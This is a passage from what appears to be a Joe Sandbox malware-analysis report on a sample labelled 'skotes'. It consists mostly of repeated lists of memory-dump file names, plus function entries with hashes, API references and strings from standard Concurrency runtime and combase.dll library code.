Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 87ce0188ed5ee3764a97bb49c0d6106c5d695e63a532eda932b6b7cf97117185
Instruction ID: 209da714a45950bff78d11938ec9e37da28fcbe0e27578512ed85e6823ad9f9d
Opcode Fuzzy Hash: 87ce0188ed5ee3764a97bb49c0d6106c5d695e63a532eda932b6b7cf97117185
Instruction Fuzzy Hash: 7E219D39600615EFCB18EFA9C892EAD77A5BF58314F008069F5069B692DB71EA01CB51

Function 001BB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001BBA0E

Strings

combase.dll, xrefs: 001BB983, 001BB988, 001BB99D, 001BB9C8
RoUninitialize, xrefs: 001BB9C1
RoInitialize, xrefs: 001BB998

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 3817597cf554cb45f3d6514b30ae0a6f718301e1ec3739831af69108b26c22d4
Instruction ID: b4f1e44363e31720816a767c197d8d12bf83b94262b115d287dbfb15a2b7437e
Opcode Fuzzy Hash: 3817597cf554cb45f3d6514b30ae0a6f718301e1ec3739831af69108b26c22d4
Instruction Fuzzy Hash: B701C0B09897516EEB10B7B25D41FFF35CD9F01348F611829F581E3580EFA5E8008661

Function 001B6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 001B6E73

Part of subcall function 001B4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001B4E7F
Part of subcall function 001B4E6E: List.LIBCMT ref: 001B4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001B6EAA

Strings

eventObject, xrefs: 001B6E7D

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 224dec9a8c93ea4bb1f7bec19b3aeff7a9a17970fd4e01743e200c8d6f87dd29
Instruction ID: 86593baa6d23520c1a727b3c77f4e3beb47689b95021e6c3fdaf792e3ffd57a9
Opcode Fuzzy Hash: 224dec9a8c93ea4bb1f7bec19b3aeff7a9a17970fd4e01743e200c8d6f87dd29
Instruction Fuzzy Hash: 8211E17A541204EBDB24EBA4CE86FFE72A86F24308F208525F505B60C1DBB8EA04C771

Function 001BA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 001BA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 001BA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001BA139

Strings

pScheduler, xrefs: 001BA131

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 3cc4be66b878f5bb10600773577f64cb25a84b811e43c2a28bec5ac9fc6b328e
Instruction ID: 6ae72601583b9af005d324f4246e11a9c3a073c7be1aeec5fdce07df770483e6
Opcode Fuzzy Hash: 3cc4be66b878f5bb10600773577f64cb25a84b811e43c2a28bec5ac9fc6b328e
Instruction Fuzzy Hash: 52F0523AA40604B7C721FA18DC83CEEF3789EA0710BA0812EE40613181DF70AE06CA92

Function 001CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001CCC66

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
